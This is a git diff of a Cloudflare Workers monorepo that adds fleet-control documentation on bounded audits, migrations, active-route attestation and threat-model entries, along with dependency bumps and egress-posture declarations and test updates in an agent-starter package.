+Provider observations are a different provenance class. Finding `tenantTag` and `environment` values can originate in inventory findings or registration-, deployment-, route-, and namespace-derived findings; fact `key` values can originate in live inspection identifiers. The bounded audit persists and reports finding identifiers as found, exactly as `auditFleetDrift()` returns them. The audit API's `readFleetAuditFindingsPage()` never returns fact rows; the exported `FleetOperationStore` port can page any row kind. A persisted fact key can surface inside a later finding's detail. For example, a later `duplicate-namespace` finding can name the namespace id claimed by an earlier record. The non-throwing detail gate then withholds an unsafe key and reports a benign key verbatim when the composed detail stays within the 4 KiB detail bound; a longer composed detail is withheld by length. The pinned R3 generation has already bounded finding identifiers to 512 bytes and excluded credential substrings, but its gate permits empty strings and control bytes. Live fact keys do not pass through R3; R4 bounds them to 4 KiB without a content grammar, so it also preserves empty strings and control bytes.
+
+Any finding `detail`, composed by the engine or passed through from the pinned inventory generation, passes a non-throwing credential-substring and control-byte gate on write. Unsafe detail is withheld through the fixed `finding detail withheld: unsafe bytes (kind '<kind>')` fallback rather than aborting the operation, while the read codec still enforces the control-byte rule and accepts an empty detail. Before either global or per-record staging, the coordinator checks every finding and fact against the staged-row codec's serialized-payload, per-string, depth, and node bounds. An excess fails the operation durably as `emission-bound-exceeded` and releases its pin before the store sees the row. Finding and fact shape, vocabulary, and byte bounds remain enforced on both write and read; after the coordinator's envelope preflight, a write-side codec failure means store or generation corruption, so the advance throws `fleet operation state is malformed`, persists no operation row or progress from that call, and leaves the operation running until `abandonFleetAuditOperation()` fails it and releases its pin. That scope is the operation store: a `per-record` advance can already have committed its guarded maintenance re-arm to the Fleet state store before the check runs.
+
+The bounded engine never persists the raw diagnostic bytes a one-shot audit composes call-locally. All six families — the three resolver failures, the live inspection failure, the maintenance re-arm failure, and the segmented multi-duty `maintenance-stale` composition — durably record a fixed template alone; the one-shot `auditFleetDrift()` remains byte-identical to its pre-decomposition behavior and is the only path that ever produces the raw bytes, and only into its in-memory return value, never a durable row.
+
+An audit start pins exactly one finalized R3 inventory generation before it stages any row and keeps that pin through completion, so a finding page stays interpretable against the exact generation it was computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or operator abandonment releases the pin; a crash between a terminal commit and its pin release leaves a terminal-but-still-pinned window that the next prune or abandonment call closes, release-first, so an orphan pin cannot outlive its operation. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winning record's persisted generation.
+
+Every bounded audit advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals: a bounded clone, a JSON serialization for its byte bound, and a discarded `structuredClone` probe. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. An audited account's finalized generation must materialize inside the 128 MB Workers isolate. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set carries the higher cap of the two — 990,000 rows read against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read.
+
+### Bounded fleet migration
+
+`advanceFleetMigration()` stores sequencing metadata in the account's Fleet operation store. Start snapshots bounded plain-JSON intake before awaiting and persists only each item's ordinal, tenant/environment keys, optional canary rank, entry-record digest and status. Admission resolves the current deployment under its lease and adds the target digest, frozen plan and cursor. Items never persist the caller's deployment record, module bytes, secret values or provider diagnostics. The trusted caller receives original thrown errors and must protect that channel separately; durable failures contain only an enum reason and optional item ordinal.
+
+The account migration-kind lease serializes migration drivers. Admission and step execution also hold the active deployment's lease while validating Fleet state and target/plan compatibility. The deployment lease ends before the operation progress commit. Provider/Fleet state is mutation authority; the cursor is sequencing authority and can lag a completed mutation after a crash. A token carries only version, operation ID and revision, and grants no account or deployment authority. The host supplies authenticated stores, backend selection, specifications and credentials on every call.
+
+The shared preamble's Durable Object base expectation differs for initial admission and continuation revalidation. Revalidation accepts the previous tag, the platform-authored target, or the consistent external finalized-state tag/resource pair. It also checks the frozen target digest before the non-ready guards and retains the frozen platform-only classification for the schema-downgrade guard after platform convergence. A foreign self-consistent external pair remains an accepted legacy class; a subsequent reconcile overwrites it only when reconciliation actually runs and returns a different target. A bare tag without its required history or resource pair fails closed, possibly in an earlier store/provider validation. Fresh admission remains strict, including the existing external post-move dead-end on completed and interrupted records. Abandoning an operation does not make those records admissible or roll back their mutations.
+
+The fence rejects target drift after the shared preamble, opposite or missing migration intent, incompatible phase changes, unreachable or backward subphases, completed-schema regressions, lost candidate identity and missing required backfill. It re-runs carrier assertions after their plan cursor. Terminal convergence is considered only at or after the terminal-commit entry, so another actor's earlier convergence cannot silently skip planned work. Its projection intentionally preserves the drain's accepted spread-through resource/history fields, consistent application-resource/binding changes, and foreign retirement snapshot class; it is not a full integrity audit of a ready record. READY leave/re-entry with the same digest and discriminator is also accepted, and later steps must converge or refuse against current state. Independent provider writers can still race observations; bounded calls widen that inter-call window without introducing a global provider lock.
+
+Staging and operation progress require exact serialized bytes for existing immutable row keys. A conflicting existing ordinal aborts the D1 batch; a missing item-update target refuses its row mutations and progress advance. Retry an uncertain commit with the same intended record and row payloads. Re-read durable progress before composing a new transition. Database and response-loss errors propagate to the trusted caller; a refusal does not imply that an earlier call failed to commit.
+
+Lease checks still run per statement. Lease expiry during a batch can leave earlier staged rows while refusing the progress update, so callers must retain immutable payloads across retries. The convergence read compares the intended run and its targeted rows; it does not establish an atomic snapshot against independent D1 writers. See `FleetOperationLease` for caller obligations.
+
+Every routine work selection and pending response currently validates the entire item set, including density, count and payload codecs. That reread is not an atomic snapshot against out-of-band D1 writers; transactional prefix/count guards remain necessary. Item payload processing is O(N²P) across N comparable P-step migrations, and D1 prefix counts remain fleet-sized per progress commit. The API bounds step execution rather than total CPU or billed rows read. See [resumable upgrade limits and recovery](fleet-control.md#upgrade-a-fleet-in-resumable-steps) before sizing a Worker driver.
+
+### Active-route attestation
+
+The control plane attests the active route after promotion and refuses to record a release as ready when the routing it reads disagrees; the threat is traffic served by a version or script it did not attest, whether from a staged traffic split, a route that still names the previous release, a hostname mapping that resolves to a different physical script, or an external writer changing routing between the control plane's read and its write. Promotion publishes a release; it does not prove which release serves traffic. Active-route attestation reads provider routing state rather than the candidate `inspect()` reports: the plain Worker backend reads the deployment traffic split and then the routed version's specification-digest binding, and the Workers for Platforms backend resolves the hostname mapping, then the routed physical script, then that script's digest.
+
+Initial provisioning, the migration plan's promote-and-settle steps — reached by `migrateFleet()` and by `advanceFleetMigration()` — and `rollbackExternalRelease()` attest after promotion, reaching `attestConvergedActiveRoute()` through `settlePromotedRoute` on the migration and rollback paths. That helper retries an unconverged read — a stale routed release, a route mapping not yet visible, a routed artifact whose digest binding is not yet readable — inside a bounded budget, and raises `ActiveRouteAttestationError` when the budget expires without an observation matching the expected specification digest and artifact version; an expectation carrying the `pending` sentinel in place of an artifact version is matched on the digest alone. On the plain Worker backend, `exactActiveVersionId` requires the traffic split to name the routed version at a full share and refuses a split that names any second version, so a staged split is refused rather than resolved by highest share. `attestFleetRecordActiveRoute()` performs the same provider read for a host rendering fleet state, and reports a disagreement instead of refusing it.
+
+`PlainWorkerBackend.promoteWorker` returns without waiting for the deployment's traffic split to converge, and attestation reads routing state afterwards, so an attestation can observe routing that the promotion has not converged. The exposed window runs from the promotion that moves traffic until an attestation matches what the operation expects, or the operation refuses; `convergenceBudgetMs` bounds the retry loop inside one `attestConvergedActiveRoute()` call, not that window. `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances — `ready-promote` before `ready-attest-settle`, `platform-only-promote` before `platform-only-ready`, `promote` before `settle-ready` — so on that path the host driver's cadence between advances bounds the window, and Fleet control does not. Traffic can reach a version the control plane has not attested inside that window; what fails closed is the operation, which refuses to record the release as ready. A routing change by another authorized account token is one instance of the residual stated under [Dedicated control-plane Worker](#dedicated-control-plane-worker): attestation observes such a write on its next read rather than excluding it. For the call sites and their provider-read cost, see [active-route attestation](fleet-control.md#attest-the-active-route).
+
 ### Deployment sentinel
 
 Provisioning writes the same stable tag to two independent locations:
@@ -141,6 +245,8 @@ Run termination keeps the same boundary. The Worker sends the trusted execution
 
 External maintenance is a separate, narrower channel. The candidate may relay a fleet-private Ed25519 capability, but it cannot mint one or read `MAINTENANCE_ADMIN_SECRET`. The global dispatcher verifies the public signature and the bound operation, tenant, environment, physical script, specification digest, expiry, and nonce before it invokes customer code. The trusted maintenance object verifies the same capability against its static tenant and environment, rejects deployment-identity authorization for maintenance routes in this mode, consumes mutation nonces atomically, and signs the exact result with its per-state HMAC secret. Fleet control accepts only that signed result. Status verification is read-only, and maintenance mutation is bounded by a request timeout shorter than the active lease.
 
+Platform-authored WFP catalogs use the signed dispatcher channel with a local Maintenance object. The catalog receives the public verifier and retains its receipt secret; its runtime verifies script and digest claims against the local managed bindings. Required-capability maintenance relays the capability even when that receipt secret is configured. Static administrative routes retain their shared-secret boundary. The control-plane host owns the global dispatcher identity and verifier configuration.
+
 The execution-fence and inventory admin routes use a stricter `MAINTENANCE_ADMIN_SECRET` boundary than the maintenance routes: they return `503` when the secret is absent and never delegate authentication to fleet capabilities. The fence can halt every execution entry in the deployment, so the host owns and audits transition policy. The deployment-identity gate still runs first; a mismatched binding or sentinel cannot use fence administration to reach an unverified database.
 
 A missing binding, invalid sentinel schema, missing or extra owner row, malformed tag, caller-credential mismatch, or tag mismatch fails closed. The Worker returns `503`; Durable Object initialization refuses the request.
@@ -225,7 +331,7 @@ A host with only one human reviewer must consciously choose availability or sepa
 | Provider alarm lost after subscription | Post-commit reconcile callback and retryable mutation-applied response | Hosts that omit reconciliation must arm polling themselves |
 | Duplicate connector side effect | Collision-proof v2 keys, fail-closed legacy inspection, atomic idempotency lease, and shared store | Poor business keys or too-short pending TTL can still duplicate |
 | One workload exhausts the deployment budget | Deployment-wide D1 rate state and host-set limits | Fixed-window boundary burst remains |
-| Connector redirects to attacker host | Manual per-hop guarded fetch | Transport outside runtime fetch is invisible |
+| Connector redirects to attacker host | Manual per-hop guarded fetch | Transport outside runtime fetch is invisible; such a connector declares `egressEnforcement: 'declaration-only'`, readable through `connectorEgressPosture()` and audited as `detail.egressEnforcement` |
 | Credentials forwarded on redirect | Cross-origin credential-header stripping | Connector body may itself contain secrets |
 | Prompt becomes CLI flag | Wrapper-owned `--` and `--flag=value` | Vendor semantics can change; packed consumer tests pin current definitions |
 | Prompt/output leaks in error or audit | Static errors, redacted command, bounded metadata, safe audit registry | Successful functional text remains sensitive and caller-owned |
@@ -236,6 +342,8 @@ A host with only one human reviewer must consciously choose availability or sepa
 | Application Worker binds another deployment's R2 bucket | Fleet-derived names, permanent ownership claims, persisted create authorization, and exact binding inventory | Control-plane compromise remains inside the trusted computing base |
 | Application secret changed outside fleet control | Trusted plaintext input is digest-checked before upload; inventory attests the exact secret-name set | Cloudflare exposes no value digest, so recurring audit cannot detect value-only drift |
 | Deployment decommissioning races new work | Revoke traffic and credentials before deleting the resource set | In-flight work can return errors during the drain |
+| Provisioning credential follows a redirect to an attacker host | The credentialed provisioning transports force manual redirect handling after the caller's init, and each refusal sits where the response is read without its status being classified — see [provisioning boundary](#provisioning-boundary) | A consumer-injected fetch that follows redirects on its own returns the final response, which the wrapper cannot distinguish from a direct answer; the package's own `createEgressProxyFetch` takes the other branch — the proxy refuses the redirect and answers `502`, which provider classification reads as transient and the dispatch-page scan retries, so that refusal reaches the caller as a transient provider failure rather than as a redirect refusal |
+| Traffic served by an unattested version or script | Active-route attestation runs after promotion on the package's provisioning, migration and rollback paths: `attestConvergedActiveRoute()` reads provider routing state, retries an unconverged read inside a bounded budget, and raises `ActiveRouteAttestationError` when the routed release still disagrees with what the operation expects, so the operation refuses instead of recording the release as ready | An unattested version can serve traffic from the promotion until an attestation matches or the operation refuses; `convergenceBudgetMs` bounds that attestation's own retry, and `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances, so on that path the host driver's cadence between advances, not the budget, bounds that interval; routing changed by another authorized account token is observed by the next attestation rather than prevented, and a Fleet lease does not lock out that writer |
 | Audit sink outage blocks agent | Sink failure containment and ring buffer | In-memory buffer is not durable and can drop old events |
 | Notification exposes reviewer payload | Host projection obligation | Flowsafe cannot know the trust level of a transport |
 | Stream ticket replay | Short TTL, HMAC, address binding, Worker verification | Ticket in logs or browser history is usable until expiry |
@@ -347,7 +455,7 @@ Store deployment secrets in Cloudflare Secrets or an external manager and inject
 - business connectors;
 - SIEM authorization.
 
-Application binding descriptors contain a name and the UTF-8 SHA-256 of the intended value. Supply the plaintext map only through the trusted fleet-control invocation seam. Fleet control requires exact descriptor keys, verifies every digest before provider access, and excludes plaintext from durable records, release identity, logs, and errors. A secret rotation changes the specification digest, but provider inventory can verify only the secret name after upload.
+Application binding descriptors contain a name and the UTF-8 SHA-256 of the intended value. Supply the plaintext map only through the trusted fleet-control invocation seam. Fleet control requires exact descriptor keys, verifies every digest before provider access, and excludes plaintext from durable records, release identity, and its own logs; upload-error handling has the injected-transport residual described in the [Direct Cloudflare API backend](#direct-cloudflare-api-backend) section. A secret rotation changes the specification digest, but provider inventory can verify only the secret name after upload.
 
 Do not persist raw keys in workflow input, suspend payload, approval context, schedule request context, notification body, audit detail, artifact metadata, or fleet state.
 
diff --git a/package.json b/package.json
index 35f72443..a57a0b46 100644
--- a/package.json
+++ b/package.json
@@ -14,6 +14,8 @@
     "dev": "pnpm --filter showcase dev",
     "test": "pnpm run architecture:check && vitest run",
     "test:watch": "vitest",
+    "test:without-direct-scenario": "pnpm run architecture:check && vitest run --project '!fleet-control-direct-scenario'",
+    "test:direct-scenario": "vitest run --project fleet-control-direct-scenario",
     "lint": "biome check .",
     "lint:fix": "biome check --write .",
     "typecheck": "pnpm -r typecheck && pnpm run typecheck:harness",
@@ -29,6 +31,7 @@
     "architecture:check:agent-starter": "dependency-cruise packages/agent-starter/src packages/agent-starter/test packages/agent-starter/scripts",
     "fleet-control:check": "pnpm --filter @proofoftech/fleet-control test && pnpm --filter @proofoftech/fleet-control typecheck && pnpm --filter @proofoftech/fleet-control build",
     "fleet-control:credentialed": "pnpm --filter @proofoftech/fleet-control test:credentialed",
+    "fleet-control:credentialed:direct": "pnpm --filter @proofoftech/fleet-control test:credentialed:direct",
     "durability:benchmark": "pnpm --filter @proofoftech/flowsafe exec node scripts/durability-benchmark.mjs",
     "architecture:controls": "node --test scripts/architecture-positive-controls.test.mjs",
     "test:packed-breakwater": "pnpm --filter @proofoftech/breakwater test:packed-consumer",
@@ -51,7 +54,7 @@
     "@biomejs/biome": "^2.4.11",
     "@changesets/cli": "^2.31.0",
     "@cloudflare/vitest-pool-workers": "0.20.1",
-    "@cloudflare/workers-types": "5.20260730.1",
+    "@cloudflare/workers-types": "5.20260905.1",
     "@types/node": "22.20.0",
     "dependency-cruiser": "18.1.1",
     "github-slugger": "2.0.0",
@@ -65,7 +68,7 @@
     "unified": "11.0.5",
     "unist-util-visit": "5.1.0",
     "vitest": "^4.1.8",
-    "wrangler": "4.118.0",
+    "wrangler": "4.129.0",
     "yaml": "2.9.0"
   },
   "engines": {
@@ -84,8 +87,12 @@
       "ip-address": "10.3.1",
       "js-yaml@3": "3.15.1",
       "js-yaml@4": "4.3.1",
+      "miniflare@5.20260730.0-alpha>workerd": "1.20260903.1",
       "nanoid@3": "3.3.17",
       "undici": "7.29.0"
+    },
+    "patchedDependencies": {
+      "@mastra/core@1.53.0": "packages/flowsafe/patches/@mastra__core@1.53.0.patch"
     }
   }
 }
diff --git a/packages/agent-starter/README.md b/packages/agent-starter/README.md
index 3ce9b5a7..be7757fb 100644
--- a/packages/agent-starter/README.md
+++ b/packages/agent-starter/README.md
@@ -56,6 +56,8 @@ All six use the deployment's D1 database. `createComposedStorage()` overlays not
 
 ## Provision one physical deployment
 
+Application roots outside this workspace must apply the `@mastra/core` patch flowsafe ships — see [Apply the flowsafe patch to @mastra/core](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/getting-started.md#apply-the-flowsafe-patch-to-mastracore); this workspace applies it through the root `pnpm.patchedDependencies`.
+
 Each organization needs a dedicated Worker, D1 database, Durable Object namespaces, and internal Durable Object credential. Replace every `replace-me` segment in `wrangler.jsonc` with the stable lowercase deployment tag before creating resources. For tag `acme`, use Worker `anchorage-agent-starter-acme` and D1 database `anchorage-agent-starter-acme`; the unique Worker name creates the deployment's Durable Object namespaces. Then stamp the same tag into the new D1 database before any application schema or traffic:
 
 ```bash
@@ -272,6 +274,8 @@ The route verifies `X-Hub-Signature-256` over raw bytes before parsing or subscr
 
 ## Schedules and unattended work
 
+Schedule routes use the composed Worker's captured artifact epoch and the concrete D1 store's `FENCED_SCHEDULE_STORAGE` capability on the same database. After activation, missing, stale and future epochs refuse mutations, including pause/delete and already-matching pause/resume requests. Configure the epoch through the trusted host configuration; request data cannot supply it. Admitted trigger settlement can finish a pending deletion after an epoch change.
+
 The one-minute tick claims due schedules with D1 CAS, starts generic workflows or the same runtime-driven thread agent, and dispatches due notifications through the owning thread Durable Object.
 
 Agent schedules must name `agentId: "anchorage-agent"`. A threaded schedule uses a `threadId` and `resourceId` returned by the start route. Stored request context cannot contain Breakwater grant keys or runtime-reserved keys. Every fire gets a fresh opaque run id.
@@ -339,10 +343,11 @@ The object persists the next alarm before each duty and runs one due duty per in
 1. Replace `createStarterAgentModule()` instructions, tools, metadata, and allowed roles.
 2. Keep every external side effect behind `createConnector()`.
 3. Add each connector's real egress hosts to its permission manifest and use the guarded `fetch`.
-4. Add workflow metadata and committed workflows together; registration fails fast if they drift.
-5. Add provider adapters to both the webhook map and provider-host list, then add their ids to the subscription allowlist.
-6. Replace console audit sinks with your Queue or SIEM transport.
-7. Add a durable run-cap implementation before exposing unattended execution commercially.
+4. Re-decide `permissions.egressEnforcement` for every connector you derive. The starter's connector declares `'enforced'` because it issues no HTTP request: it writes through a D1 binding, which the declaration does not cover. A derived connector that reaches the network through a vendor SDK or a child process carrying its own transport declares `'declaration-only'` instead. `connectorEgressPosture(tool)` reads back what a connector resolved to, and connector audit events carry it as `detail.egressEnforcement`.
+5. Add workflow metadata and committed workflows together; registration fails fast if they drift.
+6. Add provider adapters to both the webhook map and provider-host list, then add their ids to the subscription allowlist.
+7. Replace console audit sinks with your Queue or SIEM transport.
+8. Add a durable run-cap implementation before exposing unattended execution commercially.
 
 Every Anchorage import in `src/` uses a documented package export. `check:imports` rejects source or distribution deep imports and relative reaches into sibling packages.
 
diff --git a/packages/agent-starter/package.json b/packages/agent-starter/package.json
index 3922dd37..f5a2679d 100644
--- a/packages/agent-starter/package.json
+++ b/packages/agent-starter/package.json
@@ -25,10 +25,10 @@
     "zod": "^4.4.3"
   },
   "devDependencies": {
-    "@cloudflare/workers-types": "^4.2025",
+    "@cloudflare/workers-types": "^5.20260905.1",
     "typescript": "^5.6",
     "vitest": "^4.1.8",
-    "wrangler": "^4.107.0"
+    "wrangler": "^4.129.0"
   },
   "engines": {
     "node": ">=22.13.0"
diff --git a/packages/agent-starter/scripts/mint-token.mjs b/packages/agent-starter/scripts/mint-token.mjs
index 4b5d559e..2cfc9b4d 100644
--- a/packages/agent-starter/scripts/mint-token.mjs
+++ b/packages/agent-starter/scripts/mint-token.mjs
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { resolve } from 'node:path';
-import { pathToFileURL } from 'node:url';
+import { realpathSync } from 'node:fs';
+import { fileURLToPath } from 'node:url';
 
 import { APPROVAL_ROLES } from '@proofoftech/flowsafe/approval-api';
 import { mintHmacToken, toApprovalActor } from '@proofoftech/flowsafe/host-kit';
@@ -48,9 +48,13 @@ async function main() {
   process.stdout.write(`${token}\n`);
 }
 
-const invokedPath = process.argv[1]
-  ? pathToFileURL(resolve(process.argv[1])).href
-  : undefined;
-if (invokedPath === import.meta.url) {
+// Both sides are realpathed, so a symlinked invocation still resolves to this
+// module's own path.
+const isMain =
+  process.argv[1] !== undefined &&
+  realpathSync(process.argv[1]) ===
+    realpathSync(fileURLToPath(import.meta.url));
+
+if (isMain) {
   await main();
 }
diff --git a/packages/agent-starter/src/agent.ts b/packages/agent-starter/src/agent.ts
index caf4e7f2..12f67589 100644
--- a/packages/agent-starter/src/agent.ts
+++ b/packages/agent-starter/src/agent.ts
@@ -97,6 +97,7 @@ export function createRecordActionConnector(db: Env['DB']) {
     },
     permissions: {
       sideEffect: 'write',
+      egressEnforcement: 'enforced',
       requiresApproval: true,
       rateLimit: '10/min',
     },
diff --git a/packages/agent-starter/src/conformance/actions.ts b/packages/agent-starter/src/conformance/actions.ts
index fc91e5c9..630427d2 100644
--- a/packages/agent-starter/src/conformance/actions.ts
+++ b/packages/agent-starter/src/conformance/actions.ts
@@ -144,7 +144,11 @@ function createEgressProbeConnector(hostname: string) {
     description: 'Probe one upstream through the connector egress guard',
     inputSchema: z.object({ url: z.string().url() }),
     outputSchema: z.object({ upstreamStatus: z.number() }),
-    permissions: { sideEffect: 'read', egress: [hostname] },
+    permissions: {
+      sideEffect: 'read',
+      egress: [hostname],
+      egressEnforcement: 'enforced',
+    },
     execute: async ({ url }, _context, runtime) => {
       const response = await runtime.fetch(url, { redirect: 'manual' });
       return { upstreamStatus: response.status };
diff --git a/packages/agent-starter/src/conformance/state-durable-objects.ts b/packages/agent-starter/src/conformance/state-durable-objects.ts
index 19855c97..6db32b3e 100644
--- a/packages/agent-starter/src/conformance/state-durable-objects.ts
+++ b/packages/agent-starter/src/conformance/state-durable-objects.ts
@@ -212,6 +212,7 @@ export class ConformanceState {
         // resumes, and a conformance state script on a locked deployment must
         // refuse rather than record a decision with nothing behind it.
         executionFence: executionFenceFor(this.#env.DB),
+        workflowTablePrefix: '',
       },
     );
   }
diff --git a/packages/agent-starter/src/conformance/workflow.ts b/packages/agent-starter/src/conformance/workflow.ts
index d373b470..4e60f7c8 100644
--- a/packages/agent-starter/src/conformance/workflow.ts
+++ b/packages/agent-starter/src/conformance/workflow.ts
@@ -73,7 +73,11 @@ function createRecordEffectConnector(db: D1Database) {
     // Grant-only, exactly as the workerd spike proves it: the write gate is
     // satisfied by a requestContext grant the runtime derives from an APPROVED
     // record, never by anything in the resume body.
-    permissions: { sideEffect: 'write', requiresApproval: true },
+    permissions: {
+      sideEffect: 'write',
+      egressEnforcement: 'enforced',
+      requiresApproval: true,
+    },
     execute: async ({ effectNonce, runId }) => {
       await db.prepare(EFFECTS_DDL).run();
       const result = await db
diff --git a/packages/agent-starter/src/durable-objects.ts b/packages/agent-starter/src/durable-objects.ts
index f9847e41..5e0c4337 100644
--- a/packages/agent-starter/src/durable-objects.ts
+++ b/packages/agent-starter/src/durable-objects.ts
@@ -200,6 +200,7 @@ export class StarterThread extends ThreadDurableObject<Env> {
           // the service: a decision recorded against a locked deployment
           // would be durable with nothing behind it.
           executionFence: executionFence(env.DB),
+          workflowTablePrefix: '',
           ...(this.env.STREAM_TICKET_SECRET
             ? {
                 stream: (event) =>
@@ -241,11 +242,16 @@ export class StarterThread extends ThreadDurableObject<Env> {
     _env: Env,
     threadId: string,
     initResult: InitResult,
+    deploymentTag?: string,
   ): Promise<void> {
     if (!this.#agentHost) {
       throw new Error('thread agent host is unavailable');
     }
-    await this.#agentHost.recoverOwnership(initResult.runtime, threadId);
+    await this.#agentHost.recoverOwnership({
+      threadId,
+      init: initResult,
+      deploymentTag,
+    });
   }
 
   #host(): ThreadAgentHost {
diff --git a/packages/agent-starter/src/maintenance.ts b/packages/agent-starter/src/maintenance.ts
index 8d3f4658..8e21552d 100644
--- a/packages/agent-starter/src/maintenance.ts
+++ b/packages/agent-starter/src/maintenance.ts
@@ -241,15 +241,30 @@ export function starterMaintenanceTick(env: Env): () => Promise<unknown> {
     },
     audit,
   });
-  const notifications = createNotificationDispatchTick({
-    storage: notificationsStore(env.DB),
-    topology: threadTopology,
-    resolveContext: () => systemContext(env, 'notification-dispatch'),
-    limit: 100,
-    executionFence: fence,
-  });
+  // Built on first use rather than at wiring time: an unpatched @mastra/core
+  // refuses this construction, and that refusal must fail the notifications
+  // leg of a pass, not the schedule leg that shares this tick nor the wiring
+  // of the maintenance duty. The schedule leg still claims and fires on such a
+  // pass, but reports no result: the aggregate promise rejects before the host
+  // logs schedule-tick, and what fired stays accounted through the audit sink
+  // above. The ??= memo is for a host that retains one built tick and invokes
+  // it again — the () => Promise<unknown> contract permits that; this host
+  // builds a fresh tick per alarm.
+  let notifications:
+    | ReturnType<typeof createNotificationDispatchTick>
+    | undefined;
+  const notificationTick = () => {
+    notifications ??= createNotificationDispatchTick({
+      storage: notificationsStore(env.DB),
+      topology: threadTopology,
+      resolveContext: () => systemContext(env, 'notification-dispatch'),
+      limit: 100,
+      executionFence: fence,
+    });
+    return notifications();
+  };
   return async () => ({
     schedules: await schedules(),
-    notifications: await notifications(),
+    notifications: await notificationTick(),
   });
 }
diff --git a/packages/agent-starter/src/principal-context.ts b/packages/agent-starter/src/principal-context.ts
index e8bd06d7..e6f1f405 100644
--- a/packages/agent-starter/src/principal-context.ts
+++ b/packages/agent-starter/src/principal-context.ts
@@ -82,6 +82,7 @@ export function contextForPrincipal(
         // decide() COMMITS before it resumes.
         store,
         executionFence: executionFence(env.DB),
+        workflowTablePrefix: '',
       }),
   });
 }
diff --git a/packages/agent-starter/src/worker.ts b/packages/agent-starter/src/worker.ts
index 83811d7a..22417c28 100644
--- a/packages/agent-starter/src/worker.ts
+++ b/packages/agent-starter/src/worker.ts
@@ -214,6 +214,14 @@ const workerConfig = {
         env.THREAD,
         env.DEPLOYMENT_IDENTITY_SECRET,
       ),
+      validateThreadTarget: createAgentThreadTopology(
+        env.THREAD,
+        env.DEPLOYMENT_IDENTITY_SECRET,
+        {
+          startIdempotency: startIdempotency(env.DB),
+          executionFence: executionFence(env.DB),
+        },
+      ).requireBoundThread,
       attributeAllowlist: signalAttributeAllowlist(env),
       rateLimit: signalRateLimit,
       audit,
diff --git a/packages/agent-starter/test/agent.smoke.test.ts b/packages/agent-starter/test/agent.smoke.test.ts
index 13b6596c..f6122a7b 100644
--- a/packages/agent-starter/test/agent.smoke.test.ts
+++ b/packages/agent-starter/test/agent.smoke.test.ts
@@ -5,6 +5,7 @@ import {
   ACTOR_CONTEXT_KEY,
   AuditLogger,
   ConnectorPolicyError,
+  connectorEgressPosture,
   invokeConnector,
 } from '@proofoftech/breakwater';
 import { describe, expect, it, vi } from 'vitest';
@@ -30,6 +31,16 @@ function sideEffectTrap(): {
 }
 
 describe('advanced starter agent', () => {
+  it('declares an enforced egress posture on the starter record-action connector', () => {
+    // #given
+    const { db, prepare } = sideEffectTrap();
+    // #when
+    const connector = createRecordActionConnector(db);
+    // #then
+    expect(connectorEgressPosture(connector)).toBe('enforced');
+    expect(prepare).not.toHaveBeenCalled();
+  });
+
   it('generates deterministically without a provider credential or side effect', async () => {
     const { db, prepare } = sideEffectTrap();
     const events: unknown[] = [];
diff --git a/packages/agent-starter/test/durable-object-lifecycle.test.ts b/packages/agent-starter/test/durable-object-lifecycle.test.ts
index 30f73bbc..3c76ba4c 100644
--- a/packages/agent-starter/test/durable-object-lifecycle.test.ts
+++ b/packages/agent-starter/test/durable-object-lifecycle.test.ts
@@ -1,98 +1,96 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { describe, expect, it } from 'vitest';
+import type { DurableObjectState } from '@cloudflare/workers-types';
+import {
+  type AgentThreadInstanceScope,
+  createThreadAgentHost,
+} from '@proofoftech/flowsafe/agent-host';
+import { seedDeploymentIdentity } from '@proofoftech/flowsafe/do-runner';
+import { describe, expect, it, vi } from 'vitest';
 
 import {
   discardStarterScheduleDispatch,
   idleRunScheduleDispatch,
+  StarterThread,
 } from '../src/durable-objects.js';
-import { schedulesStore } from '../src/storage.js';
-
-interface SqliteStatement {
-  get(...params: unknown[]): unknown;
-  run(...params: unknown[]): unknown;
-  all(...params: unknown[]): unknown[];
-}
-
-interface SqliteDatabase {
-  prepare(sql: string): SqliteStatement;
-  exec(sql: string): void;
-}
-
-function openSqlite(): SqliteDatabase {
-  const getBuiltin = (
-    globalThis as {
-      process?: { getBuiltinModule?: (id: string) => unknown };
-    }
-  ).process?.getBuiltinModule;
-  if (!getBuiltin) {
-    throw new Error('node:sqlite unavailable; tests require Node.js 22.13+');
-  }
-  const mod = getBuiltin('node:sqlite') as {
-    DatabaseSync: new (path: string) => SqliteDatabase;
-  };
